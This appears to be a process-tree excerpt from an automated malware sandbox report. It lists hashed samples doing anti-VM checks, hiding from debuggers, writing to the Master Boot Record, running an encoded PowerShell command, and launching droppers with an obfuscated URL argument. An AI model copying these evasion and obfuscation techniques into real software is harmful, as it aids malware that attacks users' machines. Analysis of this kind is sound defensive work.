C:\Windows\syswow64\MsiExec.exe -Embedding 730F02DF6EA2AF5415A0F29C980A62A8 C
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1904

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 7426FDD6B6B75C659D91D7226A2540F4
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4108

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:5664

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 8974A0AAF91D7AB5D503EA2B54E5F999 E Global\MSI0000
2⤵
- Loads dropped DLL
PID:5440

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\" -spe -an -ai#7zMap22044:320:7zEvent27959
1⤵
PID:4884

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
"C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQA1AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5576

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:5368

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:4396

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:6000

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:4328

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:5672

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:2440

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:5220

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:5200

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:3984

C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\Setup.exe
2⤵
- Executes dropped EXE
PID:2716

C:\Users\Admin\Downloads\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
"C:\Users\Admin\Downloads\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Drops file in Windows directory
PID:6068

C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe
"C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5656

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
PID:3048

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5056

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
1⤵
- Checks system information in the registry
- Modifies data under HKEY_USERS
PID:2288

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QUQxQkVDNDYtNzc3Ny00RkQ4LUE2MzctM0FBQ0ZCRjQzQjEwfSIgdXNlcmlkPSJ7QTJBQjAyQjYtOUMyMC00MDM5LTg3RDAtNjg4RTY2ODdGODE0fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9Ins0NzBBRjc3RC1FQ0E4LTRCODMtQkU5MC04M0RGMjMyRDM1RjJ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iNCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3FXSlN6V3dQZmRjTFIrWEdJdjZ4clpmaVlPeGhQVTJzMU5XbWpXY2FGUGc9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEwNi4wLjUyNDkuMTE5IiBuZXh0dmVyc2lvbj0iMTA2LjAuNTI0OS4xMTkiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIzIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI4MDkzNzAwMzgyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
2⤵
- Checks system information in the registry
PID:1812

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{3FC5D725-B92E-4D04-8296-9E3433760F86}\MicrosoftEdge_X64_112.0.1722.34.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{3FC5D725-B92E-4D04-8296-9E3433760F86}\MicrosoftEdge_X64_112.0.1722.34.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
2⤵
PID:2044

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{3FC5D725-B92E-4D04-8296-9E3433760F86}\EDGEMITMP_922CC.tmp\setup.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{3FC5D725-B92E-4D04-8296-9E3433760F86}\EDGEMITMP_922CC.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{3FC5D725-B92E-4D04-8296-9E3433760F86}\MicrosoftEdge_X64_112.0.1722.34.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
3⤵
- Adds Run key to start application
- Drops file in Program Files directory
PID:6008

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QUQxQkVDNDYtNzc3Ny00RkQ4LUE2MzctM0FBQ0ZCRjQzQjEwfSIgdXNlcmlkPSJ7QTJBQjAyQjYtOUMyMC00MDM5LTg3RDAtNjg4RTY2ODdGODE0fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9IntCODYzNzc4Qi03QjhDLTQzMDYtQURGMS0yRDE5RDZDMjBCOUJ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iNCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O1ZQUW9QMUYrZnExNXdSemgxa1BMNFBNcFdoOE9STUI1aXp2ck9DL2NoalE9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0ie0YzMDE3MjI2LUZFMkEtNDI5NS04QkRGLTAwQzNBOUE3RTRDNX0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjExMi4wLjE3MjIuMzQiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiIGV4cGVyaW1lbnRzPSJjb25zZW50PWZhbHNlIiBpbnN0YWxsYWdlPSItMSIgaW5zdGFsbGRhdGU9Ii0xIj48dXBkYXRlY2hlY2svPjxldmVudCBldmVudHR5cGU9IjkiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjgxMDAwOTg5OTkiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI4MTAwMjU1NzQ5IiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iODM2MjY4ODEzOSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwOi8vbXNlZGdlLmYudGx1LmRsLmRlbGl2ZXJ5Lm1wLm1pY3Jvc29mdC5jb20vZmlsZXN0cmVhbWluZ3NlcnZpY2UvZmlsZXMvZGE4MDQ1ODAtODgwMi00OWViLWE4ZjItYTc2YmE3YjEyMmQ1P1AxPTE2ODE0NjQwNTQmYW1wO1AyPTQwNCZhbXA7UDM9MiZhbXA7UDQ9Y3RwOEI0V2tMa0FQYVdIS0ZQSHFud1klMmJndEVuM0V3VlBhcWUlMmJGVEJiMDVYdXB5V1lEWkZnNDFybnBzTjdYMWpIc0RENW1QbnBlY3l3V0p5N3ljTDlRJTNkJTNkIiBzZXJ2ZXJfaXBfaGludD0iIiBjZG5fY2lkPSItMSIgY2RuX2NjYz0iIiBjZG5fbXNlZGdlX3JlZj0iIiBjZG5fYXp1cmVfcmVmX29yaWdpbl9zaGllbGQ9IiIgY2RuX2NhY2hlPSIiIGNkbl9wM3A9IiIgZG93bmxvYWRlZD0iMTQyNDczNjQ4IiB0b3RhbD0iMTQyNDczNjQ4IiBkb3dubG9hZF90aW1lX21zPSIxODYyMSIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjgzNjI4MTQ5ODgiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI2IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI4Mzc5ODA0NzQ0IiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTk2NzU3IiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI5MDc1NDQ1MzkwIiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIiB1cGRhdGVfY2hlY2tfdGltZV9tcz0iMjE3IiBkb3dubG9hZF90aW1lX21zPSIyNjI1NiIgZG93bmxvYWRlZD0iMTQyNDczNjQ4IiB0b3RhbD0iMTQyNDczNjQ4IiBwYWNrYWdlX2NhY2hlX3Jlc3VsdD0iMCIgaW5zdGFsbF90aW1lX21zPSI2OTU2NCIvPjwvYXBwPjwvcmVxdWVzdD4
2⤵
- Checks system information in the registry
PID:992

C:\Program Files (x86)\Qa\streptococcal.exe
"C:\Program Files (x86)\Qa\streptococcal.exe"
1⤵
PID:5676

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gittings.exe
2⤵
- Kills process with taskkill
PID:1528

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Recombining.exe
2⤵
- Kills process with taskkill
PID:2752

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:5720

C:\Program Files (x86)\Qa\Gittings.exe
"C:\Program Files (x86)\Qa\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
- Checks whether UAC is enabled
PID:4340

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=0 --disable-features=MojoIpcz --mojo-named-platform-channel-pipe=4340.1196.6304404771646569697
2⤵
- Checks computer location settings
- Checks system information in the registry
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- System policy modification
PID:1340

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=112.0.5615.49 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=112.0.1722.34 --initial-client-data=0x104,0x108,0x10c,0xe0,0x204,0x7ffa1f023610,0x7ffa1f023620,0x7ffa1f023630
3⤵
PID:4068

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1984 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:2
3⤵
PID:3372

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=2040 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:3
3⤵
PID:5492

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=2448 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:8
3⤵
PID:2792

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3376 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:1
3⤵
- Checks computer location settings
PID:1452

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4108 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:1
3⤵
- Checks computer location settings
PID:3352

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3900 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:1
3⤵
- Checks computer location settings
PID:5308

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4328 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:1
3⤵
- Checks computer location settings
PID:2748

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=4872 --field-trial-handle=1988,i,9395050223934253004,9620372658576728710,131072 --disable-features=MojoIpcz /prefetch:8
3⤵
PID:3728

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5872

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\nsn3382.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsn3382.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:3236

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5836

C:\Users\Admin\AppData\Local\Gittings.exe
